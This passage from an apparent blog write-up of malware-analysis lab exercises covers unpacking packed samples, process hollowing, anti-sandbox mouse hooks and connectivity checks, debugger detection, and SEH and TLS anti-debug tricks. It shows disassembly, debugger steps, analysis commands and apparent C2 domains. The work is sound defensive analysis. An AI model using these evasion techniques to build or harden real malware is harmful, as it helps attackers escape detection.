&lt;/div&gt;



&lt;h3&gt;
  
  
  Tool 4: Automated Stack String Extraction
&lt;/h3&gt;

&lt;p&gt;For &lt;code&gt;9.exe&lt;/code&gt;, &lt;code&gt;strdeob.pl&lt;/code&gt; on REMnux decoded these automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strdeob.pl 9.exe | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This found &lt;strong&gt;more strings&lt;/strong&gt; than FLOSS managed to extract, showing the value of combining multiple tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;floss 9.exe &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 9-floss.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Exercise 3: Unpacking &lt;code&gt;drtg.exe&lt;/code&gt; Using &lt;code&gt;RtlDecompressBuffer&lt;/code&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Static Recon with FLOSS
&lt;/h3&gt;

&lt;p&gt;Before touching the debugger, I ran FLOSS on &lt;code&gt;drtg.exe&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;floss drtg.exe &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; drtg-floss.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FLOSS decoded 27 obfuscated strings, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ZwProtectVirtualMemory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ZwWriteVirtualMemory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RtlDecompressBuffer&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These APIs scream "unpacking and injection." The presence of &lt;code&gt;RtlDecompressBuffer&lt;/code&gt; was particularly interesting — it decompresses a buffer using a known compression algorithm.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic Unpacking in x32dbg
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable ScyllaHide&lt;/strong&gt; (Plugins → Scylla Hide → Options → check all first-column boxes) to cloak the debugger.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Set breakpoint on &lt;code&gt;RtlDecompressBuffer&lt;/code&gt;&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;   &lt;span class="nf"&gt;SetBPX&lt;/span&gt; &lt;span class="nv"&gt;RtlDecompressBuffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Run (F9)&lt;/strong&gt; until the breakpoint hits inside &lt;code&gt;ntdll.dll&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Follow the &lt;code&gt;UncompressedBuffer&lt;/code&gt; parameter&lt;/strong&gt; (second arg, &lt;code&gt;[esp+8]&lt;/code&gt;) in the Dump panel. Initially all zeros.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Set a return breakpoint&lt;/strong&gt; at &lt;code&gt;402D66&lt;/code&gt; (where execution returns after &lt;code&gt;RtlDecompressBuffer&lt;/code&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to &lt;code&gt;402D66&lt;/code&gt; (Ctrl+G)&lt;/li&gt;
&lt;li&gt;Toggle breakpoint (F2)&lt;/li&gt;
&lt;li&gt;Run (F9)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After returning, the Dump panel shows decompressed data. &lt;strong&gt;Step over (F8) nine times&lt;/strong&gt; until offset &lt;code&gt;4022CC&lt;/code&gt;. The dump now shows:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ.ÿÿ..
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;MZ&lt;/code&gt; header and "This program cannot be run in DOS mode" confirms a &lt;strong&gt;valid PE file&lt;/strong&gt; was decompressed into memory.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dump the memory region&lt;/strong&gt;: Right-click Dump → Follow in Memory Map → right-click region → Dump Memory to File → save as &lt;code&gt;drtg-dumped.exe&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Verification
&lt;/h3&gt;

&lt;p&gt;Loaded &lt;code&gt;drtg-dumped.exe&lt;/code&gt; in &lt;strong&gt;PeStudio&lt;/strong&gt; — parsed successfully. Checked imports and found &lt;code&gt;NtQueryInformationProcess&lt;/code&gt; — another anti-debug API.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bonus: Finding the Anti-Debug Check
&lt;/h3&gt;

&lt;p&gt;In IDA, at offset &lt;code&gt;4054B7&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;push 7                    ; ProcessInformationClass = 7 (debug port)
lea eax, [ebp-4]
push eax                  ; ProcessInformation
push 4                    ; ProcessInformationLength
call GetCurrentProcess
push eax                  ; ProcessHandle
call NtQueryInformationProcess
cmp dword ptr [ebp-4], 0
jnz short loc_4058C9      ; jumps to ExitProcess if debugged
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value &lt;code&gt;7&lt;/code&gt; for &lt;code&gt;ProcessInformationClass&lt;/code&gt; retrieves the &lt;strong&gt;debugger port number&lt;/strong&gt;. Non-zero means a debugger is attached. To bypass: patch the &lt;code&gt;JNZ&lt;/code&gt; at &lt;code&gt;4054C1&lt;/code&gt; to &lt;code&gt;JZ&lt;/code&gt; — invert the logic.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 4: Behavioral Analysis of &lt;code&gt;WinHost32.exe&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Before unpacking, I wanted to see what this sample actually &lt;em&gt;does&lt;/em&gt; when it runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;REMnux&lt;/strong&gt;: Wireshark capturing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows REM Workstation&lt;/strong&gt;: Process Hacker + Process Monitor running&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Infection
&lt;/h3&gt;

&lt;p&gt;Ran &lt;code&gt;WinHost32.exe&lt;/code&gt; for ~30 seconds, then terminated it. &lt;/p&gt;

&lt;h3&gt;
  
  
  Network Findings (Wireshark)
&lt;/h3&gt;

&lt;p&gt;DNS queries attempting to resolve &lt;code&gt;google.com&lt;/code&gt;. No direct C2 connections in the short window — likely a connectivity check before revealing true behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  Process Monitor → ProcDOT
&lt;/h3&gt;

&lt;p&gt;Exported the ProcMon log as CSV, loaded it into &lt;strong&gt;ProcDOT&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Selected the initial &lt;code&gt;WinHost32.exe&lt;/code&gt; PID as the launcher&lt;/li&gt;
&lt;li&gt;Generated the graph&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The graph revealed &lt;strong&gt;process hollowing&lt;/strong&gt;: the initial process spawned a child process with the same name. The child process showed registry activity (likely false positives, but worth noting).&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 5: Unpacking &lt;code&gt;WinHost32.exe&lt;/code&gt; (Process Hollowing)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Static Analysis in IDA
&lt;/h3&gt;

&lt;p&gt;At offset &lt;code&gt;4021AE&lt;/code&gt;, &lt;code&gt;CreateProcessA&lt;/code&gt; is called with &lt;code&gt;dwCreationFlags = 4&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;push 4                    ; CREATE_SUSPENDED
push ...
call CreateProcessA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; is a red flag — the process starts with its main thread frozen, ready for manipulation.&lt;/p&gt;

&lt;p&gt;Following the code:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;40220D&lt;/code&gt;: &lt;code&gt;VirtualAllocEx&lt;/code&gt; with &lt;code&gt;flProtect = 0x40&lt;/code&gt; (PAGE_EXECUTE_READWRITE)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;402237&lt;/code&gt;: &lt;code&gt;WriteProcessMemory&lt;/code&gt; — writing into the suspended process&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;4021F7&lt;/code&gt;: &lt;code&gt;call edi&lt;/code&gt; where EDI = &lt;code&gt;NtUnmapViewOfSection&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the &lt;strong&gt;process hollowing&lt;/strong&gt; pattern: unmap the legitimate executable's memory, allocate new RWX memory, write the malicious payload, then resume the thread.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic Extraction in x32dbg
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Load &lt;code&gt;WinHost32.exe&lt;/code&gt;, go to &lt;code&gt;402237&lt;/code&gt; (Ctrl+G)&lt;/li&gt;
&lt;li&gt;Set breakpoint on the &lt;code&gt;call ebp&lt;/code&gt; (WriteProcessMemory)&lt;/li&gt;
&lt;li&gt;Run (F9) until breakpoint&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;lpBuffer&lt;/code&gt; parameter (3rd arg, &lt;code&gt;[esp+8]&lt;/code&gt;) points to the payload. &lt;strong&gt;Follow in Dump&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Dump shows &lt;code&gt;MZ&lt;/code&gt; header — the payload is a full PE&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Follow in Memory Map&lt;/strong&gt; → &lt;strong&gt;Dump Memory to File&lt;/strong&gt; → &lt;code&gt;winhost32-dumped.exe&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Verification
&lt;/h3&gt;

&lt;p&gt;PeStudio confirmed it's a valid PE. Strings revealed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple suspicious URLs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;google.com&lt;/code&gt; (the connectivity check we saw in Wireshark)&lt;/li&gt;
&lt;li&gt;Many more plaintext strings than the packed version&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Exercise 6: Anti-Sandbox via Mouse Hooks (&lt;code&gt;vbprop.exe&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;Some malware refuses to execute until a real user interacts with it. This sample uses &lt;code&gt;SetWindowsHookExA&lt;/code&gt; to wait for mouse events.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Hook Setup (IDA)
&lt;/h3&gt;

&lt;p&gt;At &lt;code&gt;40103E&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;push 0                    ; hmod = 0 (current process)
push offset fn            ; lpfn = 4010B0 (our hook function)
push 0Eh                  ; idHook = WH_MOUSE (0x0E)
call SetWindowsHookExA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hook function at &lt;code&gt;4010B0&lt;/code&gt; checks &lt;code&gt;wParam&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;0x200&lt;/code&gt; (WM_MOUSEMOVE) → pass to next hook&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;0x201&lt;/code&gt; (WM_LBUTTONDOWN) → pass to next hook
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;0x202&lt;/code&gt; (WM_LBUTTONUP) → &lt;strong&gt;unhook and execute malicious payload&lt;/strong&gt; (&lt;code&gt;sub_401170&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The malware only reveals itself when you &lt;strong&gt;release the left mouse button&lt;/strong&gt;. Automated sandboxes that don't simulate real mouse clicks will never see the payload execute.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 7: Sandbox Evasion via Connectivity Check (&lt;code&gt;winhost32-dumped.exe&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;The unpacked &lt;code&gt;WinHost32.exe&lt;/code&gt; checks for internet connectivity before executing its payload. It doesn't just check if the network is up — it downloads &lt;code&gt;http://google.com&lt;/code&gt; and verifies the response starts with &lt;code&gt;&amp;lt;!do&lt;/code&gt; (the beginning of &lt;code&gt;&amp;lt;!doctype html&amp;gt;&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  The Logic Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sub_401A90():
    download http://google.com
    check if buffer[0:4] == "&amp;lt;!do"
    return 1 if match, 0 otherwise

Caller at 4023B0:
    call sub_401A90
    test eax, eax
    jnz loc_4023C6        ; success path
    push 0EA60h           ; 60000 ms = 1 minute
    call Sleep
    jmp loop_start        ; try again forever
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no Google connectivity: &lt;strong&gt;sleep 60 seconds, retry indefinitely&lt;/strong&gt;. The payload never executes.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Bypass
&lt;/h3&gt;

&lt;p&gt;At offset &lt;code&gt;4023B7&lt;/code&gt;, change &lt;code&gt;JNE&lt;/code&gt; to &lt;code&gt;JMP&lt;/code&gt; — unconditional jump over the Sleep:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;; Before:
jne short loc_4023C6

; After:
jmp short loc_4023C6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In x32dbg: select instruction → Space → type &lt;code&gt;jmp&lt;/code&gt; → OK. Now the malware executes its payload even when offline.&lt;/p&gt;

&lt;p&gt;After patching, running the sample with &lt;strong&gt;fakedns&lt;/strong&gt; on REMnux revealed DNS queries for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;callereb.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;supketwron.ru&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These were completely hidden before bypassing the connectivity check.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 8: Toolkit Detection in &lt;code&gt;raas.exe&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;This sample was the most paranoid I've seen. It checks for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AVG&lt;/strong&gt; (&lt;code&gt;avghookx.dll&lt;/code&gt; via &lt;code&gt;GetModuleHandleW&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OllyDbg&lt;/strong&gt; (window title "OLLYDBG" via &lt;code&gt;FindWindowW&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WinDbg, Immunity, Zeta, Rock, Obsidian&lt;/strong&gt; debuggers (same technique)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kernel debugger&lt;/strong&gt; (reads &lt;code&gt;KdDebuggerEnabled&lt;/code&gt; flag at &lt;code&gt;7FFE02D4&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Process names&lt;/strong&gt; (ProcMon, ProcExp, IDA, WinDbg via &lt;code&gt;CreateToolhelp32Snapshot&lt;/code&gt; loop)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;VMware&lt;/strong&gt; (registry key &lt;code&gt;HARDWARE\DEVICEMAP\Scsi\Scsi Port 0&lt;/code&gt; checks for "VMware" identifier)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Detection Function (&lt;code&gt;402BD6&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;This function returns &lt;code&gt;1&lt;/code&gt; if any toolkit is detected, &lt;code&gt;0&lt;/code&gt; otherwise. The caller at &lt;code&gt;401263&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call sub_402BD6
test eax, eax
jne loc_4013BE          ; jumps to ExitProcess if detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Bypass Strategy
&lt;/h3&gt;

&lt;p&gt;Multiple options:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Modify EAX after the call&lt;/strong&gt; — set to 0 manually in registers panel&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch &lt;code&gt;JNE&lt;/code&gt; at &lt;code&gt;401265&lt;/code&gt; to NOPs&lt;/strong&gt; — never jump to ExitProcess&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use ScyllaHide&lt;/strong&gt; — cloaks many of these checks automatically&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I also had to patch a secondary check at &lt;code&gt;40123F&lt;/code&gt; that looked for &lt;code&gt;dwmapi.dll&lt;/code&gt; (present when running patched code for some reason).&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 9 &amp;amp; 10: SEH Abuse and Unpacking &lt;code&gt;windowsxp2.exe&lt;/code&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  SEH as a Red Herring
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;windowsxp2.exe&lt;/code&gt; sets up a Structured Exception Handler early:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;push offset handler_519870
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then it deliberately causes an access violation. The "handler" at &lt;code&gt;519870&lt;/code&gt; isn't handling an error — it's the &lt;strong&gt;real entry point&lt;/strong&gt; of the unpacked code. The exception is intentional misdirection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stack Breakpoint Method for Unpacking
&lt;/h3&gt;

&lt;p&gt;Instead of tracing through the SEH maze, I used a &lt;strong&gt;stack breakpoint&lt;/strong&gt; to catch the unpacking near the Original Entry Point (OEP):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Execute first two instructions (writes to stack)&lt;/li&gt;
&lt;li&gt;Set &lt;strong&gt;hardware breakpoint&lt;/strong&gt; on the top of stack (Hardware → Access → Dword)&lt;/li&gt;
&lt;li&gt;Run (F9) — let it hit the breakpoint &lt;strong&gt;5 times&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;51993D&lt;/code&gt;: &lt;code&gt;jmp eax&lt;/code&gt; — potential OEP jump&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Verification
&lt;/h3&gt;

&lt;p&gt;Search for string references in the current region — suddenly dozens of URLs appear, confirming unpacked code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dumping and Fixing IAT
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Step into &lt;code&gt;jmp eax&lt;/code&gt; (F7) — lands at &lt;code&gt;4028E8&lt;/code&gt; (OEP)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OllyDumpEx&lt;/strong&gt;: Plugins → OllyDumpEx → Dump process → save as &lt;code&gt;windowsxp2_dump.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scylla&lt;/strong&gt;: Plugins → Scylla → IAT Autosearch → Get Imports → Fix Dump → select &lt;code&gt;windowsxp2_dump.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Generates &lt;code&gt;windowsxp2_dump_SCY.exe&lt;/code&gt; with reconstructed imports&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Confirmation
&lt;/h3&gt;

&lt;p&gt;Ran the dumped file — showed a fake error dialog "Requerido Windows NT Server." Process Hacker confirmed it runs as &lt;code&gt;windowsxp2.exe&lt;/code&gt;. BinText revealed far more strings than the packed version.&lt;/p&gt;




&lt;h2&gt;
  
  
  Exercise 11: TLS Callbacks and Advanced Anti-Debug (&lt;code&gt;lansrv.exe&lt;/code&gt;)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  TLS Callback Discovery
&lt;/h3&gt;

&lt;p&gt;Thread Local Storage (TLS) callbacks run &lt;strong&gt;before&lt;/strong&gt; the main entry point. Malware uses them to execute anti-debug checks early.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pescanner.py lansrv.exe | more
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output showed &lt;strong&gt;TLS callback at &lt;code&gt;401031&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Debugging the Callback
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;In x32dbg: Options → Preferences → Events → enable &lt;strong&gt;System Breakpoint&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Restart (Ctrl+F2) — pauses at system breakpoint before TLS runs&lt;/li&gt;
&lt;li&gt;Go to &lt;code&gt;401031&lt;/code&gt; (Ctrl+G) → set breakpoint → Run (F9)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At &lt;code&gt;4011BA&lt;/code&gt;, the unpacked code calls &lt;code&gt;IsDebuggerPresent&lt;/code&gt;. But here's the twist: it doesn't act on the result immediately. It stores it for later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call eax                  ; IsDebuggerPresent
jne short loc_4011C4      ; skip ADD if no debugger
add eax, 0Ah              ; if debugger: 1 + A = B (hex)
loc_4011C4:
mov ds:[ecx], eax         ; store result at 401015
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If debugger detected: stores &lt;code&gt;0xB&lt;/code&gt; at &lt;code&gt;401015&lt;/code&gt;. If not: stores &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The SEH Swap
&lt;/h3&gt;

&lt;p&gt;Later, at &lt;code&gt;401289&lt;/code&gt;, the code does something weird:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov gs, ax                ; make GS behave like FS
mov eax, dword ptr gs:[0] ; read SEH chain head
; ... manipulations ...
mov dword ptr ds:[edx], eax  ; overwrite handler with 403FEF
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It swaps the SEH handler to point to &lt;code&gt;403FEF&lt;/code&gt; — the malicious handler.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Division by Zero Trap
&lt;/h3&gt;

&lt;p&gt;At &lt;code&gt;4012C8&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov ecx, dword ptr ds:[esi+10]  ; loads value from 401015
; ...
div ecx                           ; divide by ECX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If debugger was detected earlier, &lt;code&gt;ECX = 0xB&lt;/code&gt; → division succeeds → execution continues down the wrong path (crash).&lt;br&gt;&lt;br&gt;
If no debugger, &lt;code&gt;ECX = 0&lt;/code&gt; → &lt;strong&gt;divide by zero exception&lt;/strong&gt; → Windows calls the swapped SEH handler at &lt;code&gt;403FEF&lt;/code&gt; → &lt;strong&gt;true execution path&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To force the correct path in the debugger, I manually set &lt;strong&gt;ECX = 0&lt;/strong&gt; before the &lt;code&gt;DIV&lt;/code&gt; instruction. The exception fired, and the breakpoint at &lt;code&gt;403FEF&lt;/code&gt; caught the real payload unpacking.&lt;/p&gt;


&lt;h2&gt;
  
  
  Exercise 12: Unpacking &lt;code&gt;yep.exe&lt;/code&gt; with pe_unmapper
&lt;/h2&gt;
&lt;h3&gt;
  
  
  IAT Analysis
&lt;/h3&gt;

&lt;p&gt;PeStudio showed only these DLLs in the IAT: &lt;code&gt;user32.dll&lt;/code&gt;, &lt;code&gt;kernel32.dll&lt;/code&gt;, &lt;code&gt;comctl32.dll&lt;/code&gt;, &lt;code&gt;shell32.dll&lt;/code&gt;. Any &lt;code&gt;LoadLibraryA&lt;/code&gt; call loading something else (like &lt;code&gt;msvcrt.dll&lt;/code&gt;) suggests dynamic resolution — common in packed malware.&lt;/p&gt;
&lt;h3&gt;
  
  
  Breakpoint Strategy
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;SetBPX&lt;/span&gt; &lt;span class="nv"&gt;LoadLibraryA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Ran and hit the breakpoint multiple times. On the 5th hit, loading &lt;code&gt;msvcrt.dll&lt;/code&gt; — not in the IAT. This is our signal.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding VirtualProtect
&lt;/h3&gt;

&lt;p&gt;After returning from &lt;code&gt;LoadLibraryA&lt;/code&gt;, scrolled down 114 instructions to find &lt;code&gt;VirtualProtect&lt;/code&gt;. The first parameter pointed to a memory region containing a full PE file (MZ header visible in Dump).&lt;/p&gt;
&lt;h3&gt;
  
  
  Second VirtualProtect Call
&lt;/h3&gt;

&lt;p&gt;35 instructions below, another &lt;code&gt;VirtualProtect&lt;/code&gt; call with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Address: &lt;code&gt;401000&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Protection: &lt;code&gt;0x20&lt;/code&gt; (PAGE_EXECUTE_READ)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is making code executable — the payload is about to run.&lt;/p&gt;
&lt;h3&gt;
  
  
  Caching the Execution
&lt;/h3&gt;

&lt;p&gt;Set a &lt;strong&gt;hardware execution breakpoint&lt;/strong&gt; on &lt;code&gt;401000&lt;/code&gt;. Ran (F9) — hit! The unpacked code is now executing.&lt;/p&gt;
&lt;h3&gt;
  
  
  Extraction and Fixing
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dump from Memory Map&lt;/strong&gt;: &lt;code&gt;yep-dumped.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix with pe_unmapper&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   pe_unmapper yep-dumped.exe 400000 yep-dumped-fixed.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Fix IAT with Scylla&lt;/strong&gt;: IAT Autosearch → Get Imports → Fix Dump → select &lt;code&gt;yep-dumped-fixed.exe&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Output: &lt;code&gt;yep-dumped-fixed_SCY.exe&lt;/code&gt; — fully functional unpacked binary&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Exercise 13 &amp;amp; 14: Code Injection Forensics (&lt;code&gt;known.exe&lt;/code&gt;)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Memory Forensics with Volatility
&lt;/h3&gt;

&lt;p&gt;On a memory dump (&lt;code&gt;known.vmem&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;VOLATILITY_PROFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Win10x86
vol.py &lt;span class="nt"&gt;-f&lt;/span&gt; known.vmem malfind &lt;span class="nt"&gt;-D&lt;/span&gt; /tmp &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; known-malfind.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



